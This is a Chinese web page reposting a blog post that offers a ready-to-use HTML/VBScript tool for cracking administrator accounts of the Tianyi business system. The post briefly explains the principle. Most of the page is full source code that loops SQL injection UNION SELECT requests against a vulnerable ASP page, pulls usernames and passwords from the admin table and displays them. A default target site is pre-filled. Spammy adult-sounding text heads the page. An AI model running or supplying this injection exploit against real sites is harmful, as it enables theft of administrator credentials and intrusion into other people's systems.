亚洲每日更新,国产午夜大片,亚洲无人区码suv

主頁 > 知識庫 > 天意商務系統(tǒng)后臺管理帳號破解html版

天意商務系統(tǒng)后臺管理帳號破解html版

/**
慈勤強
http://blog.csdn.net/cqq
*/
自從上次寫了個天意商務系統(tǒng)破解程序之后，
收到了不少朋友的來信，
有詢問程序原理的，有詢問如何防護的。
今天，我抽了一點時間，做了這個Html版，就只有這一個htm文件
相信有點html知識和SQL Injection知識的朋友都能夠看懂
原理非常簡單，破解用戶帳號是用的SQL Injection方法，
因為這套系統(tǒng)好多地方存在sql injection漏洞，
然后自己下載個這套系統(tǒng)，就可以很方便的找出問題了。
以前是Vc++版本，現(xiàn)在是html版本，不過都是一樣，
就是通過http協(xié)議取得網(wǎng)頁的源文件
然后分析源文件，找到用戶名和密碼
并且顯示出來。
下面是源代碼，大家只要把這個文件保存到硬盤上，起名叫ty.htm，就可以了。

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>天意商務系統(tǒng)后臺管理帳號破解html版--慈勤強制作</title> <SCRIPT Language = "VbScript"> Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn)   ThisCharCode = AscB(MidB(vIn,i,1))   If ThisCharCode < H80 Then    strReturn = strReturn  Chr(ThisCharCode)   Else    NextCharCode = AscB(MidB(vIn,i+1,1))    strReturn = strReturn  Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))    i = i + 1   End If Next bytes2BSTR = strReturn End Function Sub OpenUrl(strUrl)         strTmp = "" strUser = "!" strAAA ="" strCqq="" i=0 on Error Resume Next While Trim(strUser) <> ""      strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where%20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2"     Set xmlhttp = CreateObject("Microsoft.XMLHTTP")      xmlhttp.open "GET",(strUrl + strPara),false      xmlhttp.send        strAAA=getMid(bytes2BSTR(xmlhttp.ResponseBody), "<title>", "</title>")   If Trim(strAAA) <> "" Then          arr = Split(strAAA, "***")          strUser = arr(0)          strCqq = strCqq + vbNewLine + "用戶名：" + strUser + vbNewLine + "密  碼：" + arr(1) + vbNewLine + vbNewLine      Else          strUser = ""      End If       //msgbox xmlhttp.Response      Set xmlhttp = Nothing Wend If strCqq<>"" Then   strCqq="破解的后臺管理帳號為：（后臺默認地址："+strUrl+"/admin）"+vbCrLF+VBCRLF+strCqq+vbnewline      cqqadmin.innerText=strCqq Else   cqqadmin.innerText="出錯" End If      End Sub    Function getMid(str, str1, str2)     str11 = ""     i = InStr(str, str1)     If i > 0 Then         j = InStr(i, str, str2)         If j > 0 Then             str11 = Mid(str, i + Len(str1), j - i - Len(str1))                 End If         End If         getMid = str11 End Function </script> <style type="text/css">  </style></head> <body>  <table width="600" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor="#D4D4D4" bgcolor="#E4E4E4">   <tr>     <td width="39%">天意商務系統(tǒng)后臺管理帳號破解html版</td>     <td align="right">Powered By Steven_Cee Http://blog.csdn.net/cqq </td>   </tr> </table>  <table width="600" border="0" align="center" cellpadding="0" cellspacing="0">   <tr>     <td> <form name="frmCqq" method="post"> <input name="url" type="text" value="http://www.3shopok.net" size="44"> <input type="button" name="submit" value="提交" onClick="vbscript:OpenUrl(window.frmCqq.url.value)"> </form>  </td>   </tr> </table> <table width="600" border="0" align="center" cellpadding="0" cellspacing="0">   <tr>     <td width="20">nbsp;  </td>     <td><span id="cqqadmin"></span></td>   </tr> </table> <table width="600" border="1" align="center" cellpadding="1" cellspacing="0" bordercolor="#E4E4E4" bgcolor="#E4E4E4">   <tr>     <td align="center">幫助說明，請看 </td>   </tr> </table> <p>nbsp;</p> <p>nbsp;</p> <p>nbsp;</p> </body> </html>

[Ctrl+A 全選注:引入外部Js需再刷新一下頁面才能執(zhí)行]

標簽：青海無錫哈密沈陽阜陽忻州紅河河源

巨人網(wǎng)絡通訊聲明：本文標題《天意商務系統(tǒng)后臺管理帳號破解html版》，本文關鍵詞天意,商務,系統(tǒng),后臺,管理,；如發(fā)現(xiàn)本文內(nèi)容存在版權問題，煩請?zhí)峁┫嚓P信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡，涉及言論、版權與本站無關。